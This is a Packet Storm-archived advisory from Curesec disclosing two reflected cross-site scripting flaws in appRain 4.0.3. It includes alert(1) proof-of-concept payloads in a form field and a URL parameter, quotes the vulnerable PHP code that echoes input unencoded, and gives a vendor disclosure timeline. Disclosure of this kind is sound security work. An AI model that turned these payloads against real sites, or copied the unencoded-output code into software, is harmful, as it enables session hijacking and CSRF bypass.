appRain 4.0.3 Cross Site Scripting

2015-12-10T00:00:00
ID PACKETSTORM:134738
Type packetstorm
Reporter Tim Coen
Modified 2015-12-10T00:00:00

Description

                                        
                                            `Security Advisory - Curesec Research Team  
  
1. Introduction  
  
Affected Product: appRain 4.0.3  
Fixed in: not fixed  
Fixed Version Link: n/a  
Vendor Website: info@apprain.com  
Vulnerability Type: XSS  
Remote Exploitable: Yes  
Reported to vendor: 10/02/2015  
Disclosed to public: 12/02/2015  
Release mode: Full Disclosure  
CVE: requested, but not assigned  
Credits Tim Coen of Curesec GmbH  
  
2. Overview  
  
There are two reflected XSS vulnerabilities in appRain 4.0.3. This can lead to  
the injection of JavaScript keyloggers or the bypassing of CSRF protection. In  
the case of appRain, this may lead to code execution.  
  
3. XSS 1  
  
CVSS  
  
Medium 4.3 AV:N/AC:M/Au:N/C:N/I:P/A:N  
  
Description  
  
The search of the file manager echoes user input without encoding, leading to  
reflected XSS.  
  
Proof of Concept  
  
  
<html>  
<body>  
<form action="http://localhost/apprain-source-4.0.3/admin/filemanager/upload" method="POST">  
<input type="hidden" name="data[FileManager][search]" value="'"><script>alert(1)</script>" />  
<input type="submit" value="Submit request" />  
</form>  
</body>  
</html>  
  
Code  
  
  
/apprain/base/modules/toolbar.php  
private function btnFilemanagerSrcBox($srcstr = "")  
{  
  
$html = '<form method="post">  
<input type="text" name="data[FileManager][search]" value="' . $srcstr . '" />  
<div class="button" style="float:right"><input type="submit" value="Search" /></pre>  
</form>';  
  
return array('box' => $html);  
}  
  
4. XSS 2  
  
CVSS  
  
Medium 4.3 AV:N/AC:M/Au:N/C:N/I:P/A:N  
  
Description  
  
The appeditor echoes the given file name and path without encoding, leading to  
reflected XSS.  
  
Proof of Concept  
  
  
http://localhost/apprain-source-4.0.3/appeditor?loc='"><script>alert(1)</script>  
  
Code  
  
  
/component/appeditor/controllers/appeditor/index.phtml  
<?php foreach($fileeditorqueue as $row):?>  
<?php $farr = explode('/',$row);?>  
<?php if( $row == $loc):?>  
<li class="ui-tabs-selected">  
<a href="?loc=<?php echo $row ;?>" title="<?php echo $row ;?>"><?php echo(end($farr)); ?></a>  
</li>  
<?php else: ?>  
<li>  
<a href="?loc=<?php echo $row ;?>" title="<?php echo $row ;?>"><?php echo(end($farr));?></a>  
<span class="closefiletab">X</span>  
</li>  
<?php endif;?>  
<?php endforeach;?>  
  
5. Solution  
  
This issue was not fixed by the vendor.  
  
6. Report Timeline  
  
10/02 Informed Vendor. Mailbox info@apprain.com is full, used  
/2015 security@apprain.com instead (no reply)  
10/21 Reminded Vendor of Disclosure Date  
/2015  
10/21 Vendor anounces fix for 11/02/2015  
/2015  
11/04 No fix released, extended public disclosure date to 11/11/2015  
/2015  
11/05 Vendor asks for list of organizations that may help implementing fixes  
/2015  
11/11 Replied that we do not have lists, and that we do not have the resources  
/2015 to implement fixes ourselves. Extended release date to 11/18/2015 and  
offered further extension if needed (no reply)  
11/17 CVE Requested (no reply)  
/2015  
11/24 Reminded Vendor of release date, extended date to 12/02/2015 and offered  
/2015 extension if needed (no reply)  
12/02 Disclosed to public  
/2015  
  
  
Blog Reference:  
https://blog.curesec.com/article/blog/appRain-403-XSS-115.html  
  
--  
blog: https://blog.curesec.com  
tweet: https://twitter.com/curesec  
  
Curesec GmbH  
Curesec Research Team  
Romain-Rolland-Str 14-24  
13089 Berlin, Germany  
  
  
`